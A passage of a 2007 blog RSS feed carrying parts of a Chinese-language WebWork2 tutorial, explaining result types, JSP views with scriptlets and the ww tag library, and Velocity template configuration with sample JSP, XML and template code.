<p><span><font face=Century>ex02-success.jsp</font></span><span>：</span></p>
<div>
<pre><span><font size=2><font face="ＭＳ ゴシック">&lt;%@ taglib uri="webwork" prefix="ww" %&gt;</font></font></span></pre>
<pre><span><font size=2><font face="ＭＳ ゴシック">&lt;html&gt;</font></font></span></pre>
<pre><span><font size=2><font face="ＭＳ ゴシック">&lt;head&gt;</font></font></span></pre>
<pre><span><font size=2><font face="ＭＳ ゴシック">&lt;title&gt;WebWork Tutorial - Lesson 3 - Example 2&lt;/title&gt;</font></font></span></pre>
<pre><span><font size=2><font face="ＭＳ ゴシック">&lt;/head&gt;</font></font></span></pre>
<pre><span><font size=2><font face="ＭＳ ゴシック">&lt;body&gt;</font></font></span></pre>
<pre><span><font size=2><font face="ＭＳ ゴシック">&nbsp;</font></font></span></pre>
<pre><span><font size=2><font face="ＭＳ ゴシック">Hello, &lt;ww:property value="person" /&gt;</font></font></span></pre>
<pre><span><font size=2><font face="ＭＳ ゴシック">&nbsp;</font></font></span></pre>
<pre><span><font size=2><font face="ＭＳ ゴシック">&lt;/body&gt;</font></font></span></pre>
<pre><span><font size=2><font face="ＭＳ ゴシック">&lt;/html&gt;</font></font></span></pre>
</div>
<p><span>这个例子使用</span><span><font face=Century>POST</font></span><span>方法向</span><span><font face=Century>Action</font></span><span>发送表单数据（使用</span><span><font face=Century>person</font></span><span>名），在</span><span><font face=Century>HelloAction</font></span><span>的实例创建以后，</span><span><font face=Century>ServletDispatcher</font></span><span>调用</span><span><font face=Century>setter</font></span><span>方法用数据设置</span><span><font face=Century>Action</font></span><span>的对应属性（</span><span><font face=Century>person</font></span><span>）；因此，在执行</span><span><font face=Century>execute()</font></span><span>之前，</span><span><font face=Century>person</font></span><span>属性已经设置了</span></p>
<p><span>（</span><span><font face=Century>3</font></span><span>）</span><span><font face=Century>result</font></span><span>的类型</span></p>
<p><span>上面的例子中使用的</span><span><font face=Century>result</font></span><span>类型是</span><span><font face=Century>dispatcher</font></span><span>，而</span><span><font face=Century>WebWork</font></span><span>的</span><span><font face=Century>result</font></span><span>类型已经在</span><span><font face=Century>webwork-default.xml</font></span><span>中配置：</span></p>
<p><span>l<span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></span><font face=Century><strong><span>dispatcher</span></strong><span> (com.opensymphony.webwork.dispatcher.ServletDispatcherResult)</span></font><span>：</span><span><font face=Century> forwards </font></span><span>结果到指定位置</span><span><font face=Century>URL </font></span></p>
<p><span>l<span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></span><font face=Century><strong><span>redirect</span></strong><span> (com.opensymphony.webwork.dispatcher.ServletRedirectResult)</span></font><span>：</span><span><font face=Century> redirects</font></span><span>结果到指定位置</span><span><font face=Century>URL </font></span><span>；与</span><span><font face=Century>dispatcher</font></span><span>不同的是不会发送表单数据</span><span><font face=Century> </font></span></p>
<p><span>l<span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></span><font face=Century><strong><span>velocity</span></strong><span> (com.opensymphony.webwork.dispatcher.VelocityResult</span></font><span>：使用</span><span><font face=Century> Velocity </font></span><span>模版作为结果，需要在</span><span><font face=Century>web.xml</font></span><span>中配置</span><span><font face=Century> VelocityServlet</font></span><span>，这是一种很好的方法</span><span><font face=Century> </font></span></p>
<p><span>l<span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></span><font face=Century><strong><span>chain</span></strong><span> (com.opensymphony.xwork.ActionChainResult): Action</span></font><span>链，将结果传送给另外一个</span><span><font face=Century>Action</font></span></p>
<p><span>l<span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></span><font face=Century><strong><span>xslt</span></strong><span> (com.opensymphony.webwork.views.xslt.XSLTResult): </span></font><span>使用</span><span><font face=Century>XSLT</font></span><span>式样格式化结果</span></p>
<img src ="http://www.blogjava.net/junky/aggbug/126724.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/junky/" target="_blank">junky</a> 2007-06-28 09:41 <a href="http://www.blogjava.net/junky/archive/2007/06/28/126724.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>WebWork2教程（中文版）(4.1) </title><link>http://www.blogjava.net/junky/archive/2007/06/28/126722.html</link><dc:creator>junky</dc:creator><author>junky</author><pubDate>Thu, 28 Jun 2007 01:40:00 GMT</pubDate><guid>http://www.blogjava.net/junky/archive/2007/06/28/126722.html</guid><wfw:comment>http://www.blogjava.net/junky/comments/126722.html</wfw:comment><comments>http://www.blogjava.net/junky/archive/2007/06/28/126722.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/junky/comments/commentRss/126722.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/junky/services/trackbacks/126722.html</trackback:ping><description><![CDATA[<p><span><font face=Century>4</font></span><span>、视图</span></p>
<p><span>有几种作为视图的技术可以使用：</span></p>
<p><span>l<span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></span><span><font face=Century>JSP</font></span><span>：这是</span><span><font face=Century>Java Web</font></span><span>开发者熟悉的技术，可以作为通用选择；本教程介绍在</span><span><font face=Century>JSP</font></span><span>中使用</span><span><font face=Century>WebWork</font></span><span>的标记库</span></p>
<p><span>l<span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></span><span><font face=Century>Velocity</font></span><span>：一种基于</span><span><font face=Century>Java</font></span><span>的模板引擎，提供简单而强大的模板语言</span><span><font face=Century>VTL</font></span><span>来替代</span><span><font face=Century>JSP</font></span><span>，</span><span>将</span><span><font face=Century>Java</font></span><span>代码从</span><span><font face=Century>Web</font></span><span>页面中分离</span></p>
<p><span>l<span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></span><span><font face=Century>Freemaker</font></span><span>：</span><span>对于</span><span><font face=Century>MVC</font></span><span>模式设计</span><span>，</span><span>另外一种</span><span>可以</span><span>替代</span><span><font face=Century>JSP</font></span><span>的基于</span><span><font face=Century>Java</font></span><span>的模板引擎，</span><span>但兼容</span><span><font face=Century>JSP</font></span><span>标记</span></p>
<p><span><font face=Century>4.1</font></span><span>、使用</span><span><font face=Century>JSP</font></span><span>作为视图</span></p>
<p><span>使用</span><span><font face=Century>JSP</font></span><span>呈现视图，可以使用</span><span><font face=Century>Scriptlets</font></span><span>或</span><span><font face=Century>WebWork</font></span><span>标记来访问</span><span><font face=Century>Action</font></span><span>的数据。推荐使用</span><span><font face=Century>WebWork</font></span><span>标记</span><span>库</span><span>。</span></p>
<p><span>（</span><span><font face=Century>1</font></span><span>）使用</span><span><font face=Century>Scriptlets</font></span><span>访问</span><span><font face=Century>Acition</font></span><span>的数据</span></p>
<p><span>在</span><span><font face=Century>Scriptlets</font></span><span>中是使用</span><span><font face=Century>Value Stack</font></span><span>对象访问</span><span><font face=Century>Action</font></span><span>的数据的，下面是使用</span><span><font face=Century>Scriptlets</font></span><span>实现上节中第二个例子的结果输出页面：</span></p>
<div>
<pre><font size=2><font face="ＭＳ ゴシック"><span>&lt;%@ page </span><span><span><font color=#000066>import</font></span></span><span>="com.opensymphony.xwork.util.OgnlValueStack" %&gt;</span></font></font></pre>
<pre><span><font size=2><font face="ＭＳ ゴシック">&lt;html&gt;</font></font></span></pre>
<pre><span><font size=2><font face="ＭＳ ゴシック">&lt;head&gt;</font></font></span></pre>
<pre><span><font size=2><font face="ＭＳ ゴシック">&lt;title&gt;WebWork Tutorial - Lesson 4.1 - Lesson 3's example modified&lt;/title&gt;</font></font></span></pre>
<pre><span><font size=2><font face="ＭＳ ゴシック">&lt;/head&gt;</font></font></span></pre>
<pre><span><font size=2><font face="ＭＳ ゴシック">&lt;body&gt;</font></font></span></pre>
<pre><span><font size=2><font face="ＭＳ ゴシック">&lt;%</font></font></span></pre>
<pre><span><font size=2><font face="ＭＳ ゴシック">OgnlValueStack stack = (OgnlValueStack)request.getAttribute("webwork.valueStack");</font></font></span></pre>
<pre><span><font size=2><font face="ＭＳ ゴシック">out.write("Hello, " + stack.findValue("person"));</font></font></span></pre>
<pre><span><font size=2><font face="ＭＳ ゴシック">%&gt;</font></font></span></pre>
<pre><span><font size=2><font face="ＭＳ ゴシック">&lt;/body&gt;</font></font></span></pre>
<pre><span><font size=2><font face="ＭＳ ゴシック">&lt;/html&gt;</font></font></span></pre>
</div>
<p><span>然而，推荐使用</span><span>WebWork</span><span>标记，就象</span><span>上节中第二个例子</span><span>使用</span><span><font face=Century>&lt;ww:property /&gt;</font></span><span>做的那样，具有清晰的语法，并能在</span><span><font face=Century>Value Stack</font></span><span>对象</span><span>不存在时处理。</span></p>
<p><span>（</span><span>2</span><span>）使用</span><span>WebWork</span><span>标记库</span></p>
<p><span>WebWork</span><span>标记库可以分为</span><span>7</span><span>类：</span></p>
<p><span>l<span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></span><span>通用标记：最常用的基本标记；</span></p>
<p><span>l<span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></span><span>组件标记：在视图中生成组件；</span></p>
<p><span>l<span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></span><span>流程控制标记：控制</span><span>JSP</span><span>中的流程；</span></p>
<p><span>l<span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></span><span>Iteration</span><span>标记：遍历访问元素或操作可遍历对象；</span></p>
<p><span>l<span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></span><span>UI</span><span>标记：生成</span><span>HTML</span><span>表单域和控制；</span></p>
<p><span>l<span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></span><span>VUI</span><span>标记：（需要志愿者来编写）；</span></p>
<p><span>l<span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></span><span>国际化标记：使视图具有国际化；</span></p>
<p><span>（</span><span>1</span><span>）通用标记</span></p>
<table cellSpacing=0 cellPadding=0 border=1>
    <tbody>
        <tr>
            <td vAlign=top width=120>
            <p align=center><tt><strong><span>&lt;ww:property /&gt;</span></strong></tt></p>
            </td>
            <td vAlign=top width=466>
            <p><span>获得结果属性值；如果值不存在，返回</span><span>Value Stack </span><span>中最顶上的值</span></p>
            </td>
        </tr>
        <tr>
            <td vAlign=top width=120>
            <p align=center><tt><strong><span>&lt;ww:push /&gt;</span></strong></tt></p>
            </td>
            <td vAlign=top width=466>
            <p><span>将值推入</span><span>Value Stack</span></p>
            </td>
        </tr>
        <tr>
            <td vAlign=top width=120>
            <p align=center><tt><strong><span>&lt;ww:param /&gt;</span></strong></tt></p>
            </td>
            <td vAlign=top width=466>
            <p><span>设置父标记的参数（属性）值；该标记只能在其它标记内部使用</span></p>
            </td>
        </tr>
        <tr>
            <td vAlign=top width=120>
            <p align=center><tt><strong><span>&lt;ww:set /&gt;</span></strong></tt></p>
            </td>
            <td vAlign=top width=466>
            <p><span>设置</span><span>Value Stack </span><span>中具有指定范围（</span><span>page, stack, application, session</span><span>）的对象值；如果没有指定值，使用</span><span>Value Stack </span><span>中最顶上的值</span></p>
            </td>
        </tr>
        <tr>
            <td vAlign=top width=120>
            <p align=center><tt><strong><span>&lt;ww:url /&gt;</span></strong></tt></p>
            </td>
            <td vAlign=top width=466>
            <p><span>创建编码的</span><span>URL</span></p>
            </td>
        </tr>
    </tbody>
</table>
<p><span>（</span><span>2</span><span>）组件标记</span></p>
<table cellSpacing=0 cellPadding=0 border=1>
    <tbody>
        <tr>
            <td vAlign=top width=120>
            <p align=center><tt><strong><span>&lt;ww:action /&gt;</span></strong></tt></p>
            </td>
            <td vAlign=top width=466>
            <p><span>在</span><span>taglib</span><span>的上下文中执行一个</span><span>Action </span><span>，标记体用来显示</span><span>Action </span><span>的响应结果</span></p>
            </td>
        </tr>
        <tr>
            <td vAlign=top width=120>
            <p align=center><tt><strong><span>&lt;ww:bean /&gt;</span></strong></tt></p>
            </td>
            <td vAlign=top width=466>
            <p><span>在</span><span>ActionContext </span><span>中创建一个</span><span>JavaBean</span><span>，实例化它的属性，以便以后使用</span></p>
            </td>
        </tr>
        <tr>
            <td vAlign=top width=120>
            <p align=center><tt><strong><span>&lt;ww:include /&gt;</span></strong></tt></p>
            </td>
            <td vAlign=top width=466>
            <p><span>包含另外一个页面或</span><span>Action</span></p>
            </td>
        </tr>
    </tbody>
</table>
<p><span>（</span><span>3</span><span>）流程控制标记</span></p>
<table cellSpacing=0 cellPadding=0 border=1>
    <tbody>
        <tr>
            <td vAlign=top width=120>
            <p align=center><tt><strong><span>&lt;ww:if /&gt;</span></strong></tt></p>
            </td>
            <td vAlign=top width=466>
            <p><span>如果条件标记的布尔表达式为</span><span>true </span><span>，计算标记体的内容</span></p>
            </td>
        </tr>
        <tr>
            <td vAlign=top width=120>
            <p align=center><tt><strong><span>&lt;ww:else /&gt;</span></strong></tt></p>
            </td>
            <td vAlign=top width=466>
            <p><span>如果前面条件标记的布尔表达式为</span><span>false</span><span>，计算标记体的内容</span></p>
            </td>
        </tr>
        <tr>
            <td vAlign=top width=120>
            <p align=center><tt><strong><span>&lt;ww:elseif /&gt;</span></strong></tt></p>
            </td>
            <td vAlign=top width=466>
            <p><span>如果前面条件标记的布尔表达式为</span><span>false</span><span>，而本条件标记的布尔表达式为</span><span>true</span><span>，计算标记体的内容</span></p>
            </td>
        </tr>
    </tbody>
</table>
<p><span>（</span><span><font face=Century>4</font></span><span>）</span><span>Iteration</span><span>标记</span></p>
<table cellSpacing=0 cellPadding=0 border=1>
    <tbody>
        <tr>
            <td vAlign=top width=120>
            <p align=center><tt><strong><span>&lt;ww:iterator /&gt;</span></strong></tt></p>
            </td>
            <td vAlign=top width=466>
            <p><span>遍历一个集合</span></p>
            </td>
        </tr>
        <tr>
            <td vAlign=top width=120>
            <p align=center><tt><strong><span>&lt;ww:generator /&gt;</span></strong></tt></p>
            </td>
            <td vAlign=top width=466>
            <p><span>生成遍历对象</span></p>
            </td>
        </tr>
        <tr>
            <td vAlign=top width=120>
            <p align=center><tt><strong><span>&lt;ww:append /&gt;</span></strong></tt></p>
            </td>
            <td vAlign=top width=466>
            <p><span>追加遍历对象</span></p>
            </td>
        </tr>
        <tr>
            <td vAlign=top width=120>
            <p align=center><tt><strong><span>&lt;ww:subset /&gt;</span></strong></tt></p>
            </td>
            <td vAlign=top width=466>
            <p><span>获得遍历对象的子集</span></p>
            </td>
        </tr>
        <tr>
            <td width=120>
            <p align=center><tt><strong><span>&lt;ww:merge /&gt;</span></strong></tt></p>
            </td>
            <td vAlign=top width=466>
            <p><span>合并几个遍历对象为一个</span><span>.</span></p>
            </td>
        </tr>
    </tbody>
</table>
<p><span>（</span><span><font face=Century>5</font></span><span>）</span><span><font face=Century>UI</font></span><span>标记</span></p>
<p><span>生成</span><span><font face=Century>HTML</font></span><span>表单控件的</span><span><font face=Century>UI</font></span><span>标记和</span><span><font face=Century>WebWork</font></span><span>核心紧密集成，标记被设计为最小化编译代码逻辑的数量和使用模板系统呈现</span><span><font face=Century>HTML</font></span><span>的代表。</span><span><font face=Century>UI</font></span><span>标记覆盖了大部分常用标记，而且提供了一个组件标记，用来创建定制组件。</span><span><font face=Century>UI</font></span><span>标记还提供了显示内联错误信息的内建支持。有关</span><span><font face=Century>UI</font></span><span>标记的详细介绍，在下一节中讲述。</span></p>
<p><span>（</span><span><font face=Century>6</font></span><span>）</span><span><font face=Century>VUI</font></span><span>标记</span></p>
<p><span>需要志愿者来编写。</span></p>
<p><span>（</span><span><font face=Century>7</font></span><span>）国际化标记</span></p>
<table cellSpacing=0 cellPadding=0 border=1>
    <tbody>
        <tr>
            <td vAlign=top width=120>
            <p align=center><tt><strong><span>&lt;ww:text /&gt;</span></strong></tt></p>
            </td>
            <td vAlign=top width=466>
            <p><span>打印出国际化字符串</span></p>
            </td>
        </tr>
        <tr>
            <td vAlign=top width=120>
            <p align=center><tt><strong><span>&lt;ww:i18n /&gt;</span></strong></tt></p>
            </td>
            <td vAlign=top width=466>
            <p><span>将一个资源包放到</span><span>Value Stack</span><span>中</span><span>, </span><span>以便</span><span>&lt;ww:text /&gt;</span><span>标记</span><span>使用</span></p>
            </td>
        </tr>
    </tbody>
</table>
<br>
<img src ="http://www.blogjava.net/junky/aggbug/126722.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/junky/" target="_blank">junky</a> 2007-06-28 09:40 <a href="http://www.blogjava.net/junky/archive/2007/06/28/126722.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>WebWork2教程（中文版）(4.1.1) </title><link>http://www.blogjava.net/junky/archive/2007/06/28/126721.html</link><dc:creator>junky</dc:creator><author>junky</author><pubDate>Thu, 28 Jun 2007 01:40:00 GMT</pubDate><guid>http://www.blogjava.net/junky/archive/2007/06/28/126721.html</guid><wfw:comment>http://www.blogjava.net/junky/comments/126721.html</wfw:comment><comments>http://www.blogjava.net/junky/archive/2007/06/28/126721.html#Feedback</comments><slash:comments>1</slash:comments><wfw:commentRss>http://www.blogjava.net/junky/comments/commentRss/126721.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/junky/services/trackbacks/126721.html</trackback:ping><description><![CDATA[&nbsp;&nbsp;&nbsp;&nbsp; 摘要: 4.1.1、WebWork UI标记（1）创建表单WebWork UI标记和HTML标记很相似，很容易从它的名字辨认出。你可以直接使用这些标记创建表单，和HTML标记的区别在于：参数使用双引号和单引号括起，这是因为要和Value Stack中的名字区分。看下面的例子：ex01-index.jsp：&lt;%@ taglib uri="webwork" prefix="ww" %...&nbsp;&nbsp;<a href='http://www.blogjava.net/junky/archive/2007/06/28/126721.html'>阅读全文</a><img src ="http://www.blogjava.net/junky/aggbug/126721.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/junky/" target="_blank">junky</a> 2007-06-28 09:40 <a href="http://www.blogjava.net/junky/archive/2007/06/28/126721.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>WebWork2教程（中文版）(4.2)</title><link>http://www.blogjava.net/junky/archive/2007/06/28/126719.html</link><dc:creator>junky</dc:creator><author>junky</author><pubDate>Thu, 28 Jun 2007 01:39:00 GMT</pubDate><guid>http://www.blogjava.net/junky/archive/2007/06/28/126719.html</guid><wfw:comment>http://www.blogjava.net/junky/comments/126719.html</wfw:comment><comments>http://www.blogjava.net/junky/archive/2007/06/28/126719.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/junky/comments/commentRss/126719.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/junky/services/trackbacks/126719.html</trackback:ping><description><![CDATA[<p><span><font face=Century>4.2</font></span><span>、在</span><span><font face=Century>WebWork</font></span><span>中使用</span><span><font face=Century>Velocity</font></span></p>
<p><span>使用</span><span><font face=Century>Velocity</font></span><span>作为视图，有两种方法：</span></p>
<p><span>l<span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></span><span>使用</span><span><font face=Century>velocity</font></span><span>结果类型来呈现</span><span><font face=Century>Velocity</font></span><span>模板</span></p>
<p><span>l<span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></span><span>在</span><span><font face=Century>web.xml</font></span><span>中注册</span><span><font face=Century>WebWorkVelocityServlet</font></span><span>，直接请求</span><span><font face=Century>Velocity</font></span><span>模板文件来呈现；这种方法要在</span><span><font face=Century>web.xml</font></span><span>中为</span><span><font face=Century>WebWorkVelocityServlet</font></span><span>添加一个</span><span><font face=Century>Servlet</font></span><span>映射，如下：</span></p>
<div>
<pre><span><font size=2><font face="ＭＳ ゴシック">&lt;servlet&gt; </font></font></span></pre>
<pre><span><font size=2><font face="ＭＳ ゴシック"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>&lt;servlet-name&gt;velocity&lt;/servlet-name&gt; </font></font></span></pre>
<pre><span><font size=2><font face="ＭＳ ゴシック"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>&lt;servlet-class&gt;com.opensymphony.webwork.views.velocity.WebWorkVelocityServlet&lt;/servlet-class&gt; </font></font></span></pre>
<pre><span><font size=2><font face="ＭＳ ゴシック"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>&lt;load-on-startup&gt;1&lt;/load-on-startup&gt; </font></font></span></pre>
<pre><span><font size=2><font face="ＭＳ ゴシック">&lt;/servlet&gt; </font></font></span></pre>
<pre><span><font size=2><font face="ＭＳ ゴシック">&lt;servlet-mapping&gt; </font></font></span></pre>
<pre><span><font size=2><font face="ＭＳ ゴシック"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>&lt;servlet-name&gt;velocity&lt;/servlet-name&gt; </font></font></span></pre>
<pre><span><font size=2><font face="ＭＳ ゴシック"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>&lt;url-pattern&gt;*.vm&lt;/url-pattern&gt; </font></font></span></pre>
<pre><span><font size=2><font face="ＭＳ ゴシック">&lt;/servlet-mapping&gt;</font></font></span></pre>
</div>
<p><span>使用</span><span><font face=Century>velocity</font></span><span>结果类型意味着</span><span><font face=Century>Velocity</font></span><span>模板是通过</span><span><font face=Century>Action</font></span><span>来呈现。如果访问</span><span><font face=Century>.vm</font></span><span>文件，不会呈现该文件，而是返回文本文件。因此，</span><span><font face=Century>Velocity</font></span><span>模板文件应该放在</span><span><font face=Century>WEB-INF</font></span><span>目录下，使其无法直接访问。</span></p>
<p><span>使用</span><span><font face=Century>WebWorkVelocityServlet</font></span><span>意味着可以通过请求</span><span><font face=Century>.vm</font></span><span>文件来呈现</span><span><font face=Century>Velocity</font></span><span>模板，这可能需要在模板中实现安全检查。</span></p>
<p><span>无论使用哪种方法，在写模板时，</span><span><font face=Century>Velocity</font></span><span>的所有特性都是有效的，并且有一些</span><span><font face=Century>WebWork</font></span><span>的特定功能可以使用。这里假设你对</span><span><font face=Century>Velocity</font></span><span>很熟悉，重点放在</span><span><font face=Century>WebWork</font></span><span>的特定功能上。</span></p>
<p><span>（</span><span><font face=Century>1</font></span><span>）</span><span><font face=Century>WebWork</font></span><span>的特定功能</span></p>
<p><span><font face=Century>WebWork</font></span><span>在</span><span><font face=Century>Value Stack</font></span><span>中提供了一些可以访问的对象，包括：</span></p>
<p><span>l<span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></span><span>当前的</span><span><font face=Century>HttpServletRequest</font></span></p>
<p><span>l<span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></span><span>当前的</span><span><font face=Century>HttpServletResponse</font></span></p>
<p><span>l<span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></span><span>当前的</span><span><font face=Century>OgnlValueStack</font></span></p>
<p><span>l<span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></span><span><font face=Century>OgnlTool</font></span><span>实例</span></p>
<p><span>l<span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></span><span>当前</span><span><font face=Century>Action</font></span><span>类的所有属性</span></p>
<p><span>要访问</span><span><font face=Century>Value Stack</font></span><span>中的对象，需要在模板中正确使用</span><span><font face=Century>Velocity</font></span><span>引用：</span></p>
<p><span>l<span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></span><font face=Century><strong><span>$req</span></strong><span>=HttpServletRequest</span></font></p>
<p><span>l<span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></span><font face=Century><strong><span>$res</span></strong><span>=HttpServletResponse</span></font></p>
<p><span>l<span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></span><font face=Century><strong><span>$stack</span></strong><span>=OgnlValueStack</span></font></p>
<p><span>l<span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></span><font face=Century><strong><span>$ognl</span></strong><span>=OgnlTool</span></font></p>
<p><span>l<span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></span><font face=Century><strong><span>$name-of-property</span></strong><span>=</span></font><span>当前</span><span><font face=Century>Action</font></span><span>类的属性</span></p>
<p><span>（</span><span><font face=Century>2</font></span><span>）使用</span><span><font face=Century>velocity</font></span><span>结果类型</span></p>
<p><span>下面的例子是使用</span><span><font face=Century>Velocity</font></span><span>模板作为结果，来实现前面的</span><span><font face=Century>Hello</font></span><span>例子，注意</span><span><font face=Century>&lt;property value="person" /&gt;</font></span><span>标记被</span><span><font face=Century>$person</font></span><span>引用所替代：</span></p>
<p><span><font face=Century>xwork.xml</font></span><span>：</span></p>
<div>
<pre><span><font size=2><font face="ＭＳ ゴシック">&lt;!DOCTYPE xwork PUBLIC "-//OpenSymphony Group//XWork 1.0//EN" </font></font></span></pre>
<pre><span><font size=2><font face="ＭＳ ゴシック">"http://www.opensymphony.com/xwork/xwork-1.0.dtd"&gt;</font></font></span></pre>
<pre><span><font size=2><font face="ＭＳ ゴシック">&lt;xwork&gt;</font></font></span></pre>
<pre><span><font size=2><font face="ＭＳ ゴシック"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>&lt;!-- Include webwork defaults (from WebWork-2.1 JAR). --&gt;</font></font></span></pre>
<pre><span><font size=2><font face="ＭＳ ゴシック"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>&lt;include file="webwork-default.xml" /&gt;</font></font></span></pre>
<pre><span><font size=2><font face="ＭＳ ゴシック"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>&lt;!-- Configuration for the default package. --&gt;</font></font></span></pre>
<pre><span><font size=2><font face="ＭＳ ゴシック"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>&lt;package name="default" extends="webwork-default"&gt;</font></font></span></pre>
<pre><span><font size=2><font face="ＭＳ ゴシック"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>&lt;!-- Default interceptor stack. --&gt; </font></font></span></pre>
<pre><span><font size=2><font face="ＭＳ ゴシック"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>&lt;default-interceptor-ref name="defaultStack" /&gt; </font></font></span></pre>
<pre><span><font size=2><font face="ＭＳ ゴシック"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>&lt;!-- Action: Lesson 4.2: HelloAction using Velocity as result. --&gt;</font></font></span></pre>
<pre><span><font size=2><font face="ＭＳ ゴシック"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>&lt;action name="helloVelocity" class="lesson03.HelloAction"&gt;</font></font></span></pre>
<pre><span><font size=2><font face="ＭＳ ゴシック"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>&lt;result name="error" type="dispatcher"&gt;ex01-index.jsp&lt;/result&gt;</font></font></span></pre>
<pre><span><font size=2><font face="ＭＳ ゴシック"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>&lt;result name="success" type="velocity"&gt;ex01-success.vm&lt;/result&gt;</font></font></span></pre>
<pre><span><font size=2><font face="ＭＳ ゴシック"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>&lt;/action&gt;</font></font></span></pre>
<pre><span><font size=2><font face="ＭＳ ゴシック"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>&lt;/package&gt;</font></font></span></pre>
<pre><span><font size=2><font face="ＭＳ ゴシック">&lt;/xwork&gt;</font></font></span></pre>
</div>
<p><span><font face=Century>HelloAction.java</font></span><span>：（同前面的例子）</span></p>
<p><span><font face=Century>ex01-index.jsp</font></span><span>：（同前面的例子）</span></p>
<p><span><font face=Century>ex01-success.vm</font></span><span>：</span></p>
<div>
<pre><span><font size=2><font face="ＭＳ ゴシック">&lt;html&gt; </font></font></span></pre>
<pre><span><font size=2><font face="ＭＳ ゴシック">&lt;head&gt; </font></font></span></pre>
<pre><span><font size=2><font face="ＭＳ ゴシック">&lt;title&gt;WebWork Tutorial - Lesson 4.2 - Example 1&lt;/title&gt; </font></font></span></pre>
